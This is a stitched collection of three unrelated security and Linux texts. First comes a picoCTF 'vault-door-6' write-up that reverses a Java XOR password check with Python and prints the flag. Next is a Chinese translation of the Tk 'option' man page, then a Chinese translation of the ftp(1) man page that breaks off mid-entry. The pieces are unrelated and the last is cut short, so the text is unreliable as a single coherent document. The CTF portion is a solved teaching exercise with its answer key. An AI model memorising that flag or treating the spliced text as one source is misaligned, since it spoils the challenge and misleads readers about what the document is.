# vault-door-6 Reverse Engineering, 350 points ## Description: > This vault uses an XOR encryption scheme. ```java import java.util.*; class VaultDoor6 { public static void main(String args[]) { VaultDoor6 vaultDoor = new VaultDoor6(); Scanner scanner = new Scanner(System.in); System.out.print("Enter vault password: "); String userInput = scanner.next(); String input = userInput.substring("picoCTF{".length(),userInput.length()-1); if (vaultDoor.checkPassword(input)) { System.out.println("Access granted."); } else { System.out.println("Access denied!"); } } // Dr. Evil gave me a book called Applied Cryptography by Bruce Schneier, // and I learned this really cool encryption system. This will be the // strongest vault door in Dr. Evil's entire evil volcano compound for sure! // Well, I didn't exactly read the *whole* book, but I'm sure there's // nothing important in the last 750 pages. // // -Minion #3091 public boolean checkPassword(String password) { if (password.length() != 32) { return false; } byte[] passBytes = password.getBytes(); byte[] myBytes = { 0x3b, 0x65, 0x21, 0xa , 0x38, 0x0 , 0x36, 0x1d, 0xa , 0x3d, 0x61, 0x27, 0x11, 0x66, 0x27, 0xa , 0x21, 0x1d, 0x61, 0x3b, 0xa , 0x2d, 0x65, 0x27, 0xa , 0x66, 0x61, 0x6d, 0x61, 0x30, 0x37, 0x36, }; for (int i=0; i<32; i++) { if (((passBytes[i] ^ 0x55) - myBytes[i]) != 0) { return false; } } return true; } } ``` ## Solution: Let's reverse the logic using Python: ```python >>> a = [0x3b, 0x65, 0x21, 0xa , 0x38, 0x0 , 0x36, 0x1d, 0xa , 0x3d, 0x61, 0x27, 0x11, 0x66, 0x27, 0xa , 0x21, 0x1d, 0x61, 0x3b, 0xa , 0x2d, 0x65, 0x27, 0xa , 0x66, 0x61, 0x6d, 0x61, 0x30, 0x37, 0x36] >>> for b in a: ... print(chr(b ^ 0x55), end='') ... n0t_mUcH_h4rD3r_tH4n_x0r_3484ebc ```
sec-knowleage
'\" '\" Copyright (c) 1990 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: option.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: option.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH option 3tk "" Tk "Tk Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME option \- 向/从选项数据库增加/取回窗口选项 .SH 总览 SYNOPSIS \fBoption add \fIpattern value \fR?\fIpriority\fR? .sp \fBoption clear\fR .sp \fBoption get \fIwindow name class\fR .sp \fBoption readfile \fIfileName \fR?\fIpriority\fR? .BE .SH 描述 DESCRIPTION .PP \fBoption\fR 命令允许你向 Tk 选项数据库增加条目或从这个数据取回(retrieve)选项。这个命令的 \fBadd\fR 形式向数据库增加一个新选项。\fIPattern\fR 包含被指定的选项,并且使用普通的 X 格式,由星号或点号分隔的名字和/或类组成。\fIValue\fR 包含一个与 \fIpattern\fR 相关联的文字串;可以通过到 \fBTk_GetOption\fR 的调用或调用 \fBoption get\fR 命令的调用返回这个值。如果指定了 \fIpriority\fR ,它为这个选项指示特权级别(参见下面的合法值);它缺省为 \fBinteractive\fR。这个命令总是返回一个空串。 .PP \fBoption clear\fR 命令清除选项数据库。下次向数据库增加或删除一个选项的时候,(从 \fBRESOURCE_MANAGER\fR 属性或 \fB.Xdefaults\fR 文件)自动的重新装载缺省选项。这个命令总是返回一个空串。 .PP \fBoption get\fR 命令返回为在 \fIname\fR 和 \fIclass\fR 下的 \fIwindow\fR 所指定选项的值。如果在数据库中的一些条目匹配 \fIwindow\fR、\fIname\f、和 \fIclass\fR,则这个命令返回用最高 \fIpriority\fR 级别建立的那个条目。如果在同一个特权级别上有多个匹配的条目,则它返回最新近进入到选项数据库中的那个条目。如果没有匹配的条目,则返回空串。 .PP 这个命令的 \fBreadfile\fR 形式读取 \fIfileName\fR,它应当拥有用于 X 资源数据库如 \fB.Xdefaults\fR 的标准格式,并把在这个文件中指定的所有选项增加到选项数据库中。如果指定了 \fIpriority\fR,则它指示以在何种优先级上加入选项;\fIpriority\fR 缺省为 \fBinteractive\fR。 .PP 给 \fBoption\fR 命令的 \fIpriority\fR 参数通常使用下列值之一来用符号指定: .TP \fBwidgetDefault\fR 级别 20。用于硬编码到组件中的缺省值。 .TP \fBstartupFile\fR 级别 40。用于在特定于应用的启动文件中指定的选项。 .TP \fBuserDefault\fR 级别 60。用于在特定于用户的缺省文件如 \fB.Xdefaults\fR,装载到 X 服务器内的资源数据库,或特定于用户的启动文件中指定的选项。 .TP \fBinteractive\fR 级别 80。用于应用程序开始运行之后交互的指定的选项。如果未指定 \fIpriority\fR,则它缺省为这个级别。 .LP 任何上述关键字都可以被缩写。此外,可以用 0 和 100 (含)之间的整数来用数值指定优先级。除非特权级不是上述给出的那些,否则用数值形式的优先级可能不是个好主意。 .SH 关键字 KEYWORDS database, option, priority, retrieve .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/07/10 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
.\" Copyright (c) 1985, 1989, 1990 The Regents of the University of California. .\" All rights reserved. .\" .\" Redistribution and use in source and binary forms, with or without .\" modification, are permitted provided that the following conditions .\" are met: .\" 1. Redistributions of source code must retain the above copyright .\" notice, this list of conditions and the following disclaimer. .\" 2. Redistributions in binary form must reproduce the above copyright .\" notice, this list of conditions and the following disclaimer in the .\" documentation and/or other materials provided with the distribution. .\" 3. All advertising materials mentioning features or use of this software .\" must display the following acknowledgement: .\" This product includes software developed by the University of .\" California, Berkeley and its contributors. .\" 4. Neither the name of the University nor the names of its contributors .\" may be used to endorse or promote products derived from this software .\" without specific prior written permission. .\" .\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND .\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE .\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE .\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE .\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL .\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS .\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) .\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT .\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY .\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF .\" SUCH DAMAGE. .\" .\" from: @(#)ftp.1 6.18 (Berkeley) 7/30/91 .\" .\" .\" 参考了几个其它版本的 ftp man page, 开头的版权声明、日期都是一样的, .\" 只具体内容稍有不同. 为方便起见, 本文英文原稿使用 cmpp cvs 上的 ftp.1. .\" 本文的英文原稿写的非常简洁、准确. 本人水平有限, 许多地方看不明白; .\" 而且翻译时采用意译, 比起英文原稿来, 译文也显得不够严谨. .\" 错误、不足之处实在太多, 还望各位指正. .\" 译者 sliant@21cn.com, 2001-11-11, .\" while missing Xie-WenMin , .\" while missing Xie-WenMin . .Dd August 15, 1999 .Dt FTP 1 .Os "Linux NetKit (0.16) " .Sh NAME .Nm ftp .Nd .Tn Internet 文件传输程序 (file transfer program) .Sh 概述 (SYNOPSIS) .Nm ftp .Op Fl pinegvd .Op Ar host .Nm pftp .Op Fl inegvd .Op Ar host .Sh 说明 (DESCRIPTION) 用户通过 .Nm Ftp 这个程序来使用 .Tn Internet 上的标准文件传输协议 (File Transfer Protocol). 本程序允许用户向远端网站发送文件, 或从远端网站接收文件. .Pp 参数选项可以在命令行启动ftp时指定, 也可以在ftp命令解释模式下输入. .Bl -tag -width flag .It Fl p 使用被动模式进行数据传输. 如果你本地网络有防火墙, 外部主机不能连接到你这个客户端, 这个选项就派上用场了. 本选项要求 ftp 服务器支持 PASV 命令. 如果使用 pftp 从命令行启动 ftp, 本选项是默认打开的. .It Fl i 进行多个文件传输时关掉交互式的确认提示. .It Fl n 一般,在启动 ftp 时, ftp 会试着进行自动登录. 本选项可以关掉这个功能. 如果 auto-login 功能被启用的话, ftp 会在用户 home 目录下的 .netrc (参阅 .Xr netrc 5) 文件中查找远端主机上的用户帐号. 如果 .netrc 文件中用户帐号这一项不存在, ftp 会提示用户输入远端主机上的登录名 (缺省为用户在本地机器上的帐号), 如果需要, 还会提示你输入密码和用来登录的帐号. ?? .Pp (译者注: 使用本选项, 可以实现所谓的 "非交互式登录". 你可以试试下面这条命令: .Pp echo open ftp_server "\\n" user my_name my_password "\\n" dir "\\n" bye | ftp -n 不能使用 rcp 的时候, 可以用这条 ftp 命令来代替.) .It Fl e 如果被编译成了 ftp 可执行格式, 本选项会关掉命令编辑和历史命令功能; 否则什么也不做. ?? .It Fl g 关掉文件名匹配功能. .It Fl v 显示详细信息. 本选项使得 ftp 显示远端服务器的所有响应, 并在数据传输完成后显示传输数据的统计信息. .It Fl d 打开 debug 模式. .El .Pp 从命令行启动 .Nm ftp 时, 可指定欲与之通讯的远端主机. 如果指定了, .Nm ftp 会立即尝试与远端 .Tn FTP 服务器建立连接; 否则, .Nm ftp 会进入其命令解释模式, 等待用户进一步的指令. .Nm ftp 在等待用户指令时, 会显示提示符 .Ql ftp> .Pp .Nm ftp 能够识别以下的命令: .Bl -tag -width Fl .It Ic \&! Op Ar command Op Ar args 在本地机器上启动一个交互的shell. 如果本命令带有参数, 第一个参数作为 shell 命令直接执行, 其它的参数成为这个 shell 命令的参数. .It Ic \&$ Ar macro-name Op Ar args 执行宏 .Ar macro-name 所指代的命令. 宏使用 .Ic macdef 命令来定义. 本命令中的参数不进行文件名匹配, 直接传给这个宏. .It Ic account Op Ar passwd 在你成功登录以后, 本命令可以提供一个附加的密码, 远端系统会用这个密码来访问某些资源. 如果不指定参数, 则会提示用户输入密码; 输入密码时, 回显会被禁止. .It Ic append Ar local-file Op Ar remote-file 添加本地文件到远端机器上. 如果没有指定 .Ar remote-file, 则本地文件名在经过 .Ic ntrans 或 .Ic nmap 转换后, 作为远端文件名使用. 在文件传输过程中还会使用 .Ic type, .Ic forma, .Ic mode 和 .Ic structure 的当前设置. .It Ic ascii 将当前文件传输方式设置为网络 .Tn ASCII 方式, 即文本模式. 这也是缺省的文件传送方式. .It Ic bell 每个文件传送命令完成后响铃提示. .It Ic binary 将当前文件传输方式设置为 binary image, 即二进制模式. .It Ic bye 终止与当前 .Tn FTP 服务器的连接, 退出 .Nm ftp. 文件结束符 (译者注: ctrl-D) 有同样的功能. .It Ic case 转换 case 状态, 即远端主机文件名大小写转换规则. .Ic mget 命令会中用到本状态. .Ic case 状态若为 on, 远端主机文件传输到本地时, 文件名中的大写字母会被转换为小写. 缺省的 case 状态为 off. (译者注: toggle 这个词我翻译成转换. 意思是说, 如果当前 case 状态为 on, 你执行 case 这个命令, case 状态就转成了 off; 如果当前为 off, 则会变成 on. 下同.) .It Ic \&cd Ar remote-directory 改变远端机器上的当前目录到 .Ar remote-directory. .It Ic cdup 改变远端机器上的当前目录到其父目录, 即其上级目录. .It Ic chmod Ar mode file-name 将远端系统上文件 .Ar file-name 的权限改为 .Ar mode. .It Ic close 终止与当前远端服务器的 .Tn FTP 连接, 回到命令解释模式. 所有定义的宏都会被清除. .It Ic \&cr 转换 cr 状态, 即 ascii 方式下取文件时的回车换行转换规则. 用 ascii 方式获取文件时, 文件内容被分割为一条条纪录, 以回车换行符为分隔符; 如果 .Ic \&cr 状态为 on, 回车换行符会被转换为 .Ux 系统的单个换行符. 非 .Ux 系统的文本文件中可能含有单个换行符; 在进行 ascii 方式的文件传输时, 只有将 .Ic \&cr 状态设置为 off, 这些单个换行符才能与回车换行符区分开来. .Ic \&cr 的缺省状态为 on. (译者注: 回车符的 ASCII 码为 0D, 对应的 C 语言转义字符为 \\r; 换行符的 ASCII 码为 0A , 对应的 C 语言转义字符为 \\n; UNIX 下的文本文件, 换行的时候就一个换行符; DOS 下的文本文件, 换行的时候是两个字符: 回车 + 换行. 服务器端 ftpd 在用 ascii 方式发送文件时, 会先把单个换行转换为回车 + 换行, 再送到网络上传输; 客户端 ftp 在用 ascii 方式接受文件时, 如果 cr 状态为 on, ftp 会把回车 + 换行转换为单个换行; 如果为 off, 则不进行这种转换. 如果网上传输的数据中同时含有单个换行和回车 + 换行, 你就一定要把 cr 状态设为 off, 才能把数据原样取回来; 否则, 取回来的单个换行和回车 + 换行都转换成了单个换行, 你就分不清这两种了. 还是使用 binary 最好.) .It Ic delete Ar remote-file 删除远端机器上的文件 .Ar remote-file. .It Ic debug Op Ar debug-value 转换 debugging 状态, 即是否跟踪每条指令. .Ar debug-value 是可选的, 其值用来设置跟踪的级别. 当 debigging 状态为 on 时, .Nm ftp 会显示每条送往远端机器的指令, 并在显示的指令前加上 .Ql \-\-> .It Xo .Ic dir .Op Ar remote-directory .Op Ar local-file .Xc 显示远端机器目录 .Ar remote-director 下的文件名. .Ar local-file 这个参数是可选的. 如果指定了这个参数, 本命令的显示结果会保存在 .Ar local-file 这个本地文件中. 如果 prompt 状态为 on, .Nm ftp 会提示用户确认最后这个参数是用来存放 .Ic dir 显示结果的本地文件. 如果不指定 .Ar remote-director, 则本命令显示远端机器当前目录下的文件名. 如果不指定 .Ar local-file, 或 .Ar local-file 指定为 .Fl , 则输出结果显示在你的终端上. .It Ic disconnect 同 .Ar close. .It Ic form Ar format 将文件传输格式设置为 .Ar format. 缺省格式为 \*(Lqfile\*(Rq. ?? .It Ic get Ar remote-file Op Ar local-file 把远端机器上的文件 .Ar remote-file 取回到本地. 如果不指定本地文件名, 则远端文件名在经过 .Ic case, .Ic ntrans 和 .Ic nmap 转换后, 作为本地文件名使用. 文件传输过程中会用到当前的 .Ic type, .Ic form, .Ic mode, 和 .Ic structure 状态. .It Ic glob 转换 glob 状态, 即在执行 .Ic mdelete, .Ic mget 和 .Ic mput 命令时, 是否进行文件名匹配. 如果 glob 状态为 off, 则不进行文件名匹配. 对 .Ic mput 而言, 文件名匹配规则和本地的 .Xr csh 1 文件名匹配一样. 对 .Ic mdelete 和 .Ic mget 而言, 每个远端机器文件名都分别在远端机器上进行匹配, 匹配结果中的同名文件不会合并. 目录名匹配规则和文件名匹配规则不尽相同, 具体结果要取决于远端系统和 ftp 服务程序. 你可以使用 .Ql mls remote-files \- 预先看看匹配结果是否如你所愿. 注意: .Ic mget 和 .Ic mput 可能不会传送子目录. 想连着子目录一起传送, 你可以使用 binary 方式传送这个子目录的 .Xr tar 1 包. (译者注: 1、 文件匹配是说, *n 代表所有以 n 结尾的文件. 例如, 在你本地 linux 机器当前目录下有三个文件 Xie Wen Min , 在 shell 下用 echo *n 这条命令, 结果为 Wen Min , 可见 *n 被 shell 匹配为 Wen Min. 在 ftp 中, 如果 glob 为 on , mput *n 这条指令会被匹配为 mput Wen Min , 本地的 Wen Min 两个文件被传送到远端. 如果 glob 为 off , mput *n 这条指令不会被匹配, 于是 mput 会试图把文件名为 "*n" 的本地文件传到远端, 如果本地没有这个名为 "*n" 的文件, ftp 就会报错. 2、 mput 是把本地文件送到远端机器, 故其匹配规则与本地 shell的文件名匹配一致. mget, mdelete 则是把远端机器上的文件送到本地, 故其匹配规则和最终结果要取决于远端系统. 3、 考虑如下情况: 远端机器上有三个文件 Xie, Wen, Min 如果执行 mget X* W* *n, 显然, 匹配结果会是 Xie Wen Min Wen. 虽然 Wen 这个文件出现了两次, 但 ftp 不会把这两个文件名合为一个, 所以 Wen 这个文件会被 mget 两次, 第二次覆盖第一次. 如果 mdel X* W* *n, Wen 这个文件会被删两次, 第二次报错.) .It Ic hash 转换 hash 状态, 即是否显示数据传输进度. 如果 hash 状态为 on, 每传送完一个 1024 字节的数据块时显示一个 # 号. .It Ic help Op Ar command 显示指定命令 .Ar command 的简要说明. 如果不指定参数, 本命令列出所有已知的 .Nm ftp 命令. .It Ic idle Op Ar seconds 将远端服务器的最长空闲时间设为 .Ar seconds 秒. 如果不指定参数 .Ar seconds, 则本命令显示当前的最长空闲时间值. (译者注:如果在最长空闲时间内没执行任何 ftp 命令, 与远端机器的连接将自动终止. ) .It Ic lcd Op Ar directory 改变本地的当前工作目录. 如果不指定参数 .Ar directory, 则切换到用户的 home 目录. .It Xo .Ic \&ls .Op Ar remote-directory .Op Ar local-file .Xc 显示远端机器目录下的文件名列表. 具体如何显示与远端系统有关; 例如, 大多数 .Ux 系统显示 shell 命令 ls -l 的输出 (参阅 nlist ). 如果不指定 .Ar remote-directory 则显示远端机器当前目录的内容. 如果 prompt 状态为 on , .Nm ftp 会提示用户确认最后一个参数是用来存放 .Ic \&ls 显示结果的本地文件. 如果不指定 .Ar local-file , 或者 .Ar local-file 指定为 .Sq Fl , 则结果显示到用户终端上. 可以在本命令中用引号指定附加参数. 例如, 如果远端系统为 .Ux , 则 ls "-rt /usr" 这条命令会显示远端机器 /usr 这个目录下的文件, 显示结果按创建时间由远到近排序. .It Ic macdef Ar macro-name 定义一个宏. 执行本命令后, 接下来输入的内容会存放到宏 .Ar macro-name 里. 空行 (文件中的连续换行, 或终端的回车换行) 表示宏定义结束. 最多只能定义 16 条宏, 而且所有的宏内容加起来不能超过 4096 字节. 执行 .Ic close 命令后所有的宏定义会被清除. 在宏中, $ 和 \e 这两个字符为特殊字符. $ 字符后跟数字, 将在这个宏在执行时将替换为命令行中的参数. $ 字符后跟字符 i , 表示循环执行当前宏. 在循环的第一次, $i 被替换为命令行中的第一个参数; 第二次, 替换为第二个参数, 以此类推. \e 后面跟一个字符, 表示这个字符本身. 例如, \e 可以去掉 $ 的特殊意义, 表示 $ 这个字符本身. .It Ic mdelete Op Ar remote-files 删除远端机器文件 .Ar remote-files. .It Ic mdir Ar remote-files local-file 和 .Ic dir 命令相似, 但是允许你指定多个远端文件. 如果 prompt 状态为 on, .Nm ftp 会提示用户确认最后一个参数是用来存放输出结果的本地文件. .It Ic mget Ar remote-files 匹配参数 .Ar remote-files 中指定的远端文件名, 对匹配结果里的每个文件都执行一个 .Ic get 命令. 关于文件名匹配, 请参阅 .Ic glob 命令. 根据当前的 .Ic case, .Ic ntrans, 和 .Ic nmap 状态, 远端文件名在经过适当的转换后, 作为本地文件名使用. 文件被传输到本地机器的当前目录. 你可以用 .Ql lcd directory 命令改变本地机器的当前目录, 也可以用 .Ql "\&! mkdir directory" 命令新建本地目录. .It Ic mkdir Ar directory-name 在远端机器上创建目录. .It Ic mls Ar remote-files local-file 和 .Ic nlist 命令相似, 但是允许你指定多个远端文件, 而且 .Ar local-file 这个参数必须指定. 如果 prompt 状态为 on, .Nm ftp 会提示用户确认最后一个参数是用来存放输出结果的本地文件. .It Ic mode Op Ar mode-name 将文件传输模式设置为 .Ar mode-name 所指定的模式. 缺省模式为 \*(Lqstream\*(Rq 模式. ?? .It Ic modtime Ar file-name 显示远端机器上文件的最后修改时间. .It Ic mput Ar local-files 匹配参数中指定的本地文件名, 对匹配结果里的每个文件都执行一个 .Ic put 命令. 关于文件名匹配, 请参阅 .Ic glob 命令. 根据当前的 .Ic ntrans 和 .Ic nmap 状态, 本地文件名在经过适当的转换后, 作为远端文件名使用. .It Ic newer Ar file-name Op Ar local-file 比较远端文件和本地文件的修改时间, 如果远端文件比本地文件新, 或本地文件不存在, 则从远端机器上取此文件. .It Xo .Ic nlist .Op Ar remote-directory .Op Ar local-file .Xc 显示远端机器上指定目录下的文件列表. 如果不指定参数 .Ar remote-directory, 则显示远端机器当前目录的内容. 如果 prompt 状态为 on, .Nm ftp 会提示用户确认最后一个参数是用来存放显示结果的本地文件. 如果不指定本地文件 .Ar local-file, 或者本地文件 .Ar local-file 指定为 .Sq Fl, 显示结果会在用户终端上显示出来. .It Ic nmap Op Ar inpattern outpattern 设置或取消文件名映射机制. 如果不指定参数, 则本命令取消文件名映射机制. 如果指定了参数, 则在执行 .Ic mput 或 .Ic put 命令, 且不指定远端文件名时, 远端文件名会被映射; 在执行 .Ic mget 或 .Ic get 命令, 且不指定本地文件名时, 本地文件名会被映射. 非 unix 的远端系统常使用不同于 unix 的文件命名规则, 当用 ftp 连接到这样的远端系统时, 本命令会很有用处. 转换规则由参数 .Ar inpattern 和 .Ar outpattern 决定. 一个文件名会先经过 .Ic ntrans 和 .Ic case 的转换, 再按照 .Ar inpattern 进行 .Ic nmap 映射. 参数 .Ar inpattern 指定转换前的文件命名规则. 参数 .Ar outpattern 指定转换后的文件命名规则. 在 .Ar inpattern 和 .Ar outpattern 这两个参数中, 用 $1, $2, ..., $9 来替代变量; 用 \e$ 替代 $ 字符; 其余的字符则没有特殊含义. 例如, 若 .Ar inpattern 为 $1.$2, 则对于文件名 mydata.data, $1 取值 mydata, $2取值 data. 结果文件名由 .Ar outpattern 决定. 在 .Ar outpattern 中, $1, $2, ..., $9 被相应的取值代替, 作为最终结果. $0 被替换为整个原始文件名. 对方括号括起来的两个变量 [$x,$y] 而言, 若 $x 非空, 则其相当于 $x; 否则相当于 $y (以上 x,y 为数字). 举例如下: 输入命令行 nmap $1.$2.$3 [$1,$2].[$2,file], 则 原始文件名 myfile.data 会被映射为 myfile.data, 原始文件名 myfile.data.old 会被映射为 myfile.data, 原始文件名 myfile 会被映射为 myfile.file, 原始文件名 .myfile 会被映射为 myfile.myfile, Spaces may be included in .Ar outpattern, as in the example: `nmap $1 sed "s/ *$//" > $1' . ?? (译者注: 这一段我没看懂, 也没试出来.) `$', '[', ']', `,' 这四个字符有特殊含义, 所以若要使用这四个字符, 需在前面加上 \\ 以去掉其特殊含义. .It Ic ntrans Op Ar inchars Op Ar outchars 设置或取消文件名字符转换机制. 如果不指定参数, 则本命令取消文件名字符转换机制. 如果指定了参数, 则在执行 .Ic mput 和 .Ic put 命令, 且不指定远端文件名时, 远端文件名中的字符会被转换; 在执行 .Ic mget 和 .Ic get 命令, 且不指定本地文件名时, 本地文件名中的字符会被转换. 非 unix 的远端系统常使用不同于 unix 的文件命名规则, 用 ftp 连接到这样的远端系统时, 本命令会很有用处. 原始文件名中的 .Ar inchars 会被替换为对应的 .Ar outchars. 如果 inchar 字符串比 outchar 长, 则多出的那一部分字符会从原始文件名中删掉. .It Ic open Ar host Op Ar port 连接到指定的远端主机 .Ar host .Tn FTP 服务器. 端口号 .Nm ftp 是可选的; 如果指定了端口号, .Nm ftp 会尝试使用这个指定的端口号连接远端 .Tn FTP 主机. 如果自动登陆选项 .Ic auto-login 是打开的话 (缺省为打开), .Nm ftp 还会尝试自动登陆. (详见下述) .It Ic prompt 转换 prompt 状态, 即是否进行交互提示. 如果 prompt 状态为 on , 在传送多个文件时, ftp 会提示用户选择要上传或下载的文件; 如果 prompt 状态为 off (缺省为 on), .Ic mget 和 .Ic mput 这两个命令会不加提示地传送所有指定的文件, .Ic mdelete 会不加提示地删掉所有指定的文件. .It Ic proxy Ar ftp-command 在副连接上执行 ftp 命令. 本命令允许同时连接到两个远端 ftp 服务器, 并在这两个远端服务器之间传送文件. (译者注: 原始的 ftp 所建立的连接为 primary control connection, 主连接; 使用 proxy open 所建立的连接为 secondary control connection, 副连接. 在副连接上运行 ftp 命令, 即在 ftp 命令前加上 proxy 前缀, 如 proxy open, proxy put 等. 以下将这种 ``proxy ftp command'' 译为 "代理命令".) 第一个执行的代理命令应该是 .Ic open 命令, 用来建立副连接. 运行 "proxy ?" 命令, 可以看到所有能在副连接中运行的 ftp 命令. 以下的 ftp 命令在副连接中运行时, 效果与在主连接中不同: 在自动登录过程中, .Ic open 不会定义新的宏; .Ic close 不会清除已有的宏定义; .Ic get 和 .Ic mget 将文件从主连接的远端主机传送到副连接的远端主机; .Ic put , .Ic mput , 和 .Ic append 将文件从副连接的远端主机传至主连接的远端主机. 第三方文件传输取决于副连接的远端主机是否支持 ftp 协议中的 .Dv PASV 命令. .It Ic put Ar local-file Op Ar remote-file 将本地文件传至远端主机. 如果不指定参数 .Ar remote-file, 则根据当前的 .Ic ntrans 和 .Ic nmap 状态, 本地文件名在经过适当的转换后, 作为远端文件名使用. 在文件传输过程中会用到当前的 .Ic type, .Ic format, .Ic mode 和 .Ic structure 状态. .It Ic pwd 显示远端机器的当前路径. .It Ic quit 同 .Ic bye 命令. .It Ic quote Ar arg1 arg2 ... 将你指定的参数原样送到远端 .Tn 